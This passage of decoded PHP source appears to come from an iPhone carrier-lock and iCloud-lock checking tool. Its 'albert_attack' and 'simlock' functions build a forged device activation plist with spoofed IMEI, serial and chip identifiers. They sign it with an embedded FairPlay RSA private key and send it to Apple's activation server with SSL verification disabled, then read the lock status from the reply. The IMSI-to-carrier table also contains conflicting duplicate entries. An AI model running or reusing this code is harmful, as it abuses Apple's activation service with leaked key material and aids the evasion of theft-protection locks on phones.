return 'SUN';
else if($imsi=='5150211')
return 'GLOBE';
else if($imsi=='2600211')
return 'ERA';
else if($imsi=='2600311')
return 'ORANGE';
else if($imsi=='2600200')
return 'T-MOBILE';
else if($imsi=='2680311')
return 'OPTIMUS';
else if($imsi=='2680111')
return 'VODAFONE';
else if($imsi=='2680611')
return 'TMN';
else if($imsi=='2260107')
return 'VODAFONE';
else if($imsi=='2261007')
return 'ORANGE';
else if($imsi=='2260307')
return 'COSMOTE';
else if($imsi=='2260407')
return 'ZAPP';
else if($imsi=='2502834')
return 'BEELINE28';
else if($imsi=='2509934')
return 'BEELINE99';
else if($imsi=='2500234')
return 'MEGAFON';
else if($imsi=='2501034')
return 'MTS10';
else if($imsi=='2509334')
return 'TELECOM';
else if($imsi=='4200734')
return 'EAE';
else if($imsi=='4200334')
return 'MOBILY';
else if($imsi=='4200134')
return 'STC';
else if($imsi=='4200434')
return 'ZAINSA';
else if($imsi=='2310411')
return 'T-MOBILE 2';
else if($imsi=='2310234')
return 'EUROTEL 2';
else if($imsi=='2310134')
return 'ORANGE';
else if($imsi=='2310534')
return 'ORANGE UMT';
else if($imsi=='2311534')
return 'ORANGE UMT2';
else if($imsi=='2310634')
return 'TELEFICO2';
else if($imsi=='6550134')
return 'VODACOM';
else if($imsi=='2934001')
return 'SI-MOBILE';
else if($imsi=='2140711')
return 'MOVISTAR';
else if($imsi=='2140333')
return 'ORANGE';
else if($imsi=='2140198')
return 'VODAFONE';
else if($imsi=='2140401')
return 'YOIGO';
else if($imsi=='2400200')
return '3';
else if($imsi=='2400111')
return 'TELIA';
else if($imsi=='2400700')
return 'TELE2';
else if($imsi=='2400100')
return 'TELIA';
else if($imsi=='2400885')
return 'TELENOR';
else if($imsi=='2280167')
return 'SWISSCOM';
else if($imsi=='2280311')
return 'ORANGE';
else if($imsi=='2280200')
return 'SUNRISE';
else if($imsi=='2280111')
return 'SWISCOM';
else if($imsi=='2280211')
return 'SUNRISE';
else if($imsi=='2280121')
return 'SWISCOM (UNOFFICAL)';
else if($imsi=='4669234')
return 'CHUNGWA';
else if($imsi=='2860134')
return 'TURCELL';
else if($imsi=='2860211')
return 'VODAFONE';
else if($imsi=='2862034')
return 'VODAFONE';
else if($imsi=='4240334')
return 'DU';
else if($imsi=='4240234')
return 'ETISAL';
else if($imsi=='2342091')
return '3';
else if($imsi=='2341091')
return 'O2';
else if($imsi=='2343320')
return 'ORANGE/T-MOBILE';
else if($imsi=='2341590')
return 'VODAFONE 2';
else if($imsi=='2340211')
return 'O2 2';
else if($imsi=='2343334')
return 'ORANGE33';
else if($imsi=='2343091')
return 'T-MOBILE';
else if($imsi=='2343091')
return 'ORANGE';
else if($imsi=='2343091')
return 'EE';
else if($imsi=='2340100')
return 'VECTONE';
else if($imsi=='7481011')
return 'CTIMOV';
else if($imsi=='7480711')
return 'MOVISTAR';
else if($imsi=='7480111')
return 'ANTEL';
else if($imsi=='3104101')
return 'ATT';
else if($imsi=='2040400')
return 'VERIZON';
else if($imsi=='3160101')
return 'SPRINT(CDMA)';
else if($imsi=='3461401')
return 'CABLE&WIRELESS LIME';
else if($imsi=='3101200')
return 'SPRINT IPHONE5';
else if($imsi=='2040400')
return 'CRICKET';
else if($imsi=='3101200')
return 'VIRGIN IPHONE5';
else if($imsi=='2040400')
return 'STRAIGHT TALK';
else if($imsi=='3102605')
return 'T-MOBILE IPHONE5';
else if($imsi=='3113700')
return 'WIRELESS ALASKA';
else if($imsi=='3102620')
return 'T-MOBILE';
else if($imsi=='3114801')
return 'TRACFONE';
else if($imsi=='3102600')
return 'METROPCS';
else if($imsi=='3114801')
return 'TOTAL WIRELESS';
else if($imsi=='3104101')
return 'CONSUMER CELULLAR';
else if($imsi=='3114801')
return 'STRAIGHT TALK';
else if($imsi=='3160101')
return 'BOOST MOBILE';
else if($imsi=='2040400')
return 'XFINITY';
else if($imsi=='7340486')
return 'MOVISTAR';
else if($imsi=='7340200')
return 'DIGITEL';
else if($imsi=='7340600')
return 'MOVILNET';
else if($imsi=='7340400')
return 'TELEFONICA';
else
return 'OTHER';
}
function validate_imei($imei) {
if (!preg_match('/^[0-9]{15}$/', $imei)) return false;
$sum = 0;
for ($i = 0; $i < 14; $i++)
{
$num = $imei[$i];
if (($i % 2) != 0)
{
$num = $imei[$i] * 2;
if ($num > 9)
{
$num = (string) $num;
$num = $num[0] + $num[1];
}
}
$sum += $num;
}
if ((($sum + $imei[14]) % 10) != 0) return false;
return true;
}
function match_all($needles, $haystack) {
if(empty($needles)){
return false;
}
foreach($needles as $needle) {
if (strpos($haystack, $needle) == false) {
return false;
}
}
return true;
}
function albert_attack($query) {
$url = "https://albert.apple.com/deviceservices/deviceActivation";
$test = urlencode(base64_encode($query));
$post_data = "passcode=gfdgf&activation-info-base64=$test";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL , $url );
curl_setopt($ch, CURLOPT_RETURNTRANSFER , 1);
curl_setopt($ch, CURLOPT_TIMEOUT , 10);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/x-www-form-urlencoded", "Content-Length: ".strlen($post_data)));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERAGENT , "iOS 11.1.1 15B150 iPhone Setup Assistant iOS Device Activator (MobileActivation-286.20.3 built on Sep 29 2017 at 18:51:08)" );
curl_setopt($ch, CURLOPT_POST , 1);
curl_setopt($ch, CURLOPT_POSTFIELDS , $post_data );
$xml_response = curl_exec($ch);
if (curl_errno($ch)) {
$error_message = curl_error($ch);
$error_no = curl_errno($ch);
// echo "error_message: " . $error_message . "<br>";
// echo "error_no: " . $error_no . "<br>";
}
curl_close($ch);
if(DEBUG){ print_r($xml_response)."</br>"; die(); }
$aclock = array('SIM','Not','Supported');
$problemiphone = array('Please','restore','the','phone','and','install','the','latest','version','of','iOS');
$problemiphone1 = array('Device','Unknown');
$problemiphone2 = array('There', 'is', 'a', 'problem', 'with', 'your', 'iPhone.');
$problemiphone3 = array('There', 'is', 'a', 'problem', 'with', 'this', 'iPhone.');
$activationerror = array('This','iPhone','is','not','able','to','complete','the','activation','process');
$unsupportedsim = array('Unsupported','SIM');
$icloudLocked = array('This','iPhone', 'is', 'linked');
$errorUnlocked = array('Activation', 'could');
//Activation could not be completed
if(match_all($aclock,$xml_response)) {
return "Locked";
} else if (match_all($problemiphone,$xml_response)) {
return "Unlocked";
} else if (match_all($problemiphone2,$xml_response)) {
return "chimaera";
} else if (match_all($problemiphone3,$xml_response)) {
return "chimaera";
} else if (match_all($icloudLocked,$xml_response)) {
return "Unlocked";
} else if (match_all($errorUnlocked,$xml_response)) {
return "Unlocked";
} else if (strpos($xml_response, "AccountToken")!==false) {
return "Unlocked";
} else if (match_all($activationerror,$xml_response)) {
return "TryMeid";
} else {
print_r($xml_response);
//return "IDK BRO";
}
}
function simlock($imei, $sn, $meid, $imei2, $imsi = '6030326') {
if(isset($meid)) {
$meid = '<key>MobileEquipmentIdentifier</key>
<string>'.$meid.'</string>';
}
if(empty($imei2)==false) {
$imei2 = '<key>InternationalMobileEquipmentIdentity2</key>
<string>'.$imei2.'</string>';
}
$ActivationInfoXML =
'<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ActivationRequestInfo</key>
<dict>
<key>ActivationRandomness</key>
<string>24535014-9805-49AA-AC5C-2DD8EB69B12A</string>
<key>ActivationState</key>
<string>Unactivated</string>
<key>FMiPAccountExists</key>
<true/>
</dict>
<key>BasebandRequestInfo</key>
<dict>
<key>ActivationRequiresActivationTicket</key>
<true/>
<key>BasebandActivationTicketVersion</key>
<string>V2</string>
<key>BasebandChipID</key>
<integer>7282913</integer>
<key>BasebandMasterKeyHash</key>
<string>AEA5CCE143668D0EFB4CE1F2C94C966A6496C6AA</string>
<key>BasebandSerialNumber</key>
<data>
NE5Ksw==
</data>
<key>GID1</key>
<string>90ffffff</string>
<key>GID2</key>
<string>ffffffff</string>
<key>IntegratedCircuitCardIdentity</key>
<string>8938641090306391573</string>
<key>InternationalMobileEquipmentIdentity</key>
<string>'.$imei.'</string>
'.$imei2.'
<key>InternationalMobileSubscriberIdentity</key>
<string>'.$imsi.'73956326</string>
'.$meid.'
<key>PhoneNumber</key>
<string></string>
<key>SIMStatus</key>
<string>kCTSIMSupportSIMStatusReady</string>
<key>SupportsPostponement</key>
<true/>
<key>kCTPostponementInfoPRIVersion</key>
<string>0.1.144</string>
<key>kCTPostponementInfoPRLName</key>
<integer>0</integer>
<key>kCTPostponementInfoServiceProvisioningState</key>
<true/>
</dict>
<key>DeviceCertRequest</key>
<data>
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURSBSRVFVRVNULS0tLS0KTUlJQnhEQ0NBUzBDQVFB
d2dZTXhMVEFyQmdOVkJBTVRKRGN3TURGQk1UWTBMVGxHUkRBdE5EaEJNUzFCTVRFeg0K
TFRjNVJUaEdNVFF5UXprelFURUxNQWtHQTFVRUJoTUNWVk14Q3pBSkJnTlZCQWdUQWtO
Qk1SSXdFQVlEVlFRSA0KRXdsRGRYQmxjblJwYm04eEV6QVJCZ05WQkFvVENrRndjR3hs
SUVsdVl5NHhEekFOQmdOVkJBc1RCbWxRYUc5dQ0KWlRDQm56QU5CZ2txaGtpRzl3MEJB
UUVGQUFPQmpRQXdnWWtDZ1lFQTdNV1I0T3VJUG81NEowczhmMkQ4bnRtYw0KYWVkOGNu
NENCM2p2bzZjY2hQQTJSSGV4TDVxVU5YblZNZzhHUmVLN1RCSmZFcDBYaVpmMlR5TTRT
QXFjL2VLUg0KbEIzdFFUdGJhYjQ4UkxDenljUWlHelhoZXk0R0w0ckoxQTV3ditXUUYw
YmtVcDhzUUk4b3VoMnFKU3ZiaWp6Rg0KOTE4d2d1aWZsZUJZcGRaMjBEMENBd0VBQWFB
QU1BMEdDU3FHU0liM0RRRUJCUVVBQTRHQkFOVFRhVkZHMnZJag0KZ0J5Zkp6d1U4ZStD
MXBqYzNKMWJvL1FjeXU2SDZ2aDBYZHNPMk9qOFBiUWRBY09teUJyTG50QTVhT2ZsY1pp
Qw0KMmJQSjhiNFBmVVRVWkJxQVdCS0JodFF6QjVVWDRuZDhsTTVKeDc3c0VwVC9uTjdQ
NDhZQmgyWlJqaDg4SmQrcg0KdDFwWnZ3VWxWYTZwRVJ2N2RWTDZNM3pGRmNwQVBhejcK
LS0tLS1FTkQgQ0VSVElGSUNBVEUgUkVRVUVTVC0tLS0t
</data>
<key>DeviceID</key>
<dict>
<key>SerialNumber</key>
<string>'.$sn.'</string>
<key>UniqueDeviceID</key>
<string>cbed4ff1e95edba585a94f4e8d333379f282df9e</string>
</dict>
<key>DeviceInfo</key>
<dict>
<key>BuildVersion</key>
<string>15A372</string>
<key>DeviceClass</key>
<string>iPhone</string>
<key>DeviceVariant</key>
<string>A</string>
<key>ModelNumber</key>
<string>MKQM2</string>
<key>OSType</key>
<string>iPhone OS</string>
<key>ProductType</key>
<string>iPhone8,1</string>
<key>ProductVersion</key>
<string>11.0</string>
<key>RegionCode</key>
<string>ZD</string>
<key>RegionInfo</key>
<string>ZD/A</string>
<key>RegulatoryModelNumber</key>
<string>A1784</string>
<key>UniqueChipID</key>
<integer>2859022370934054</integer>
</dict>
<key>RegulatoryImages</key>
<dict>
<key>DeviceVariant</key>
<string>A</string>
</dict>
<key>UIKCertification</key>
<dict>
<key>BluetoothAddress</key>
<string>bc:4c:c4:14:58:ac</string>
<key>BoardId</key>
<integer>14</integer>
<key>ChipID</key>
<integer>35152</integer>
<key>EthernetMacAddress</key>
<string>bc:4c:c4:14:58:ad</string>
<key>UIKCertification</key>
<data>
MIICxjCCAm0CAQEwADCB2QIBATAKBggqhkjOPQQDAgNHADBEAiBOmykQ378M
lvcKVkyjlHoYwKN8/WK/lHGv2zscJxnE+AIgN9zrZRpE0K7RZuZtruXkgFxV
iM4SXByiyOPFmBdcy+MwWzAVBgcqhkjOPQIBoAoGCCqGSM49AwEHA0IABFNT
gwNJnJnk05h2j2K9p75U96PvOBiti2J0nQNXeKWGKizCqergjKtHZqAtVBsX
mdd3311pxQ75CsX3EUaznAagCgQIYWNzc0gAAACiFgQUfYSpUwwmRfMbGkRA
Ps1aKCLT0dwwgcICAQEwCgYIKoZIzj0EAwIDSAAwRQIhAPDzRlZqRnm9wRmT
1oIy5sh/AbDHSQVmitgH9NoCpoctAiB9+1hOM8Zeb1htQV8s81Xg0aou/86P
PveOu9TIzYQNnDBbMBUGByqGSM49AgGgCgYIKoZIzj0DAQcDQgAESTAiT/2L
1L1+0JBiUSGPumizG+wQp12JUM0T80UqWbvEE9ljAk676/zhKQBjl38/Sn06
yO2EABYoYBIlgEi0ZKAKBAggc2tzAgAAAKCBxDCBwQIBATAKBggqhkjOPQQD
AgNHADBEAiAtvdWemPKvE6kfMpY9pUYuvJcXbznA/oVLeEXPbzXtTgIgCBJP
dGxZs0OZLgdfNAwJuxa+1dqcFgV1LDen2Gi9eM8wWzAVBgcqhkjOPQIBoAoG
CCqGSM49AwEHA0IABEkwIk/9i9S9ftCQYlEhj7posxvsEKddiVDNE/NFKlm7
xBPZYwJOu+v84SkAY5d/P0p9OsjthAAWKGASJYBItGSgCgQIIHNrcwIAAAAw
CgYIKoZIzj0EAwIDRwAwRAIgHU83XIiKQrKl0aoXCB+yJ5i05MQBRZ52f0zt
yzsI34MCIF6QRIRaUsTcts4Q6f9Z/ME2fo8rEM34I6/KaMcD7+6q
</data>
<key>WifiAddress</key>
<string>bc:4c:c4:14:58:ab</string>
</dict>
</dict>
</plist>';
$ActivationInfoXML64 = base64_encode($ActivationInfoXML);
$FairplayPrivateKeyBase64 = "LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlDV3dJQkFBS0JnUUMzQktyTFBJQmFiaHByKzRTdnVRSG5iRjBzc3FSSVE2Ny8xYlRmQXJWdVVGNnA5c2RjdjcwTityOHlGeGVzRG1wVG1LaXRMUDA2c3pLTkFPMWs1SlZrOS9QMWVqejA4Qk1lOWVBYjRqdUFoVldkZkFJeWFKN3NHRmplU0wwMTVtQXZyeFRGY09NMTBGL3FTbEFSQmljY3hIalBYdHVXVnIwZkxHcmhNKy9BTVFJREFRQUJBb0dBQ0dXM2JISFBOZGI5Y1Z6dC9wNFBmMDNTakoxNXVqTVkwWFk5d1VtL2gxczZyTE84Ky8xME1ETUVHTWxFZGNtSGlXUmt3T1ZpalJIeHpOUnhFQU1JODdBcnVvZmhqZGRiTlZMdDZwcFcybkxDSzdjRURRSkZhaFRXOUdRRnpwVlJRWFhmeHI0Y3MxWDNrdXRsQjZ1WTJWR2x0eFFGWXNqNWRqdjdEK0E3MkEwQ1FRRFpqMVJHZHhiZU9vNFh6eGZBNm40MkdwWmF2VGxNM1F6R0ZvQkpnQ3FxVnUxSlFPem9vQU1SVCtOUGZnb0U4K3VzSVZWQjRJbzBiQ1VUV0xwa0V5dFRBa0VBMTFyeklwR0loRmtQdE5jLzMzZnZCRmd3VWJzalRzMVY1RzZ6NWx5L1huRzlFTmZMYmxnRW9iTG1TbXozaXJ2QlJXQURpd1V4NXpZNkZOL0RtdGk1NndKQWRpU2Nha3VmY255dnp3UVo3UndwLzYxK2VyWUpHTkZ0YjJDbXQ4Tk82QU9laGNvcEhNWlFCQ1d5MWVjbS83dUovb1ozYXZmSmRXQkkzZkd2L2twZW13SkFHTVh5b0RCanB1M2oyNmJEUno2eHRTczc2N3IrVmN0VExTTDYrTzRFYWFYbDNQRW1DcngvVSthVGpVNDVyN0RuaThaK3dkaElKRlBkbkpjZEZrd0dId0pBUFErd1ZxUmpjNGgzSHd1OEk2bGxrOXdocEs5TzcwRkxvMUZNVmRheXRFbE15cXpRMi8wNWZNYjdGNnlhV2h1K1EyR0dYdmRsVVJpQTN0WTBDc2ZNMHc9PQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ==";
$FairPlayCertChain64 = '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';
openssl_sign($ActivationInfoXML, $signature, openssl_pkey_get_private(base64_decode($FairplayPrivateKeyBase64)), 'sha1WithRSAEncryption'); //sha1WithRSAEncryption
$ActivationInfoXMLSignature = base64_encode($signature);
$posti =
'<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ActivationInfoComplete</key>
<true/>
<key>ActivationInfoXML</key>
<data>'.$ActivationInfoXML64.'</data>
<key>FairPlayCertChain</key>
<data>'.$FairPlayCertChain64.'</data>
<key>FairPlaySignature</key>
<data>'.$ActivationInfoXMLSignature.'</data>
<key>RKCertification</key>
<data>
MIIB9zCCAZwCAQEwADCB2gIBATAKBggqhkjOPQQDAgNIADBFAiEAk0kFrgp9oIqPSyw4
CeWwPc1MAGYtjvghUvV+YvDGhicCIEE0vW+s4Zs61eFjJDzvVxAKbsHFNj7MtVrbr5zT
i4k5MFswFQYHKoZIzj0CAaAKBggqhkjOPQMBBwNCAARuSdhS4I5eL1IyV2c+G690w4DH
9DFQye4b8PMbQ7FKFnhGcUOXk0eTfeF4q+b+au3l22dbj1DdioLbCCbNFVyFoAoECCBz
a3NIAAAAohYEFIT4wv/S+twSVWiuIUZOBiBDJj+OMIG3AgEBMAoGCCqGSM49BAMCA0kA
MEYCIQDngLzCQYigVMuMh3dtsq8GxrcShp6QobrHkWEmtDwjWgIhAKeWSAcq9n+wgAav
LU5TYBDy2smBJPSJxlgnECyB29RsMFswFQYHKoZIzj0CAaAKBggqhkjOPQMBBwNCAASU
2VJGBNC+Hjw5KKv3qW9IFVBE5KdWnoMwJxku1j5+7lqSe2kYxYhT1rvPAt/r1/0wALzL
aY59NYA0Ax8rKWfWMAoGCCqGSM49BAMCA0kAMEYCIQDhoMxEfjuVQgqo9ol5O6Li1Omg
JMzaL4VCTNZVXfFv/AIhALdI44Q5KEuk0FwaycYSScndcuh5B88+NuFQn41isuwM
</data>
<key>RKSignature</key>
<data>
MEQCIBfETROMXro82io/uy53ChhYmoqvTsSSdL9K9YUxW+GLAiAhh9EZ4TRxuSqWoRqm
0cop5KHlreeLv+PwHKpXn9Vmfw==
</data>
<key>serverKP</key>
<data>
TlVMTA==
</data>
<key>signActRequest</key>
<data>
TlVMTA==
</data>
</dict>
</plist>';
return albert_attack($posti);
}
Function Calls
define | 1 |
Stats
MD5 | ad822fc01e7d7746b62e4a4128fdd8db |
Eval Count | 0 |
Decode Time | 209 ms |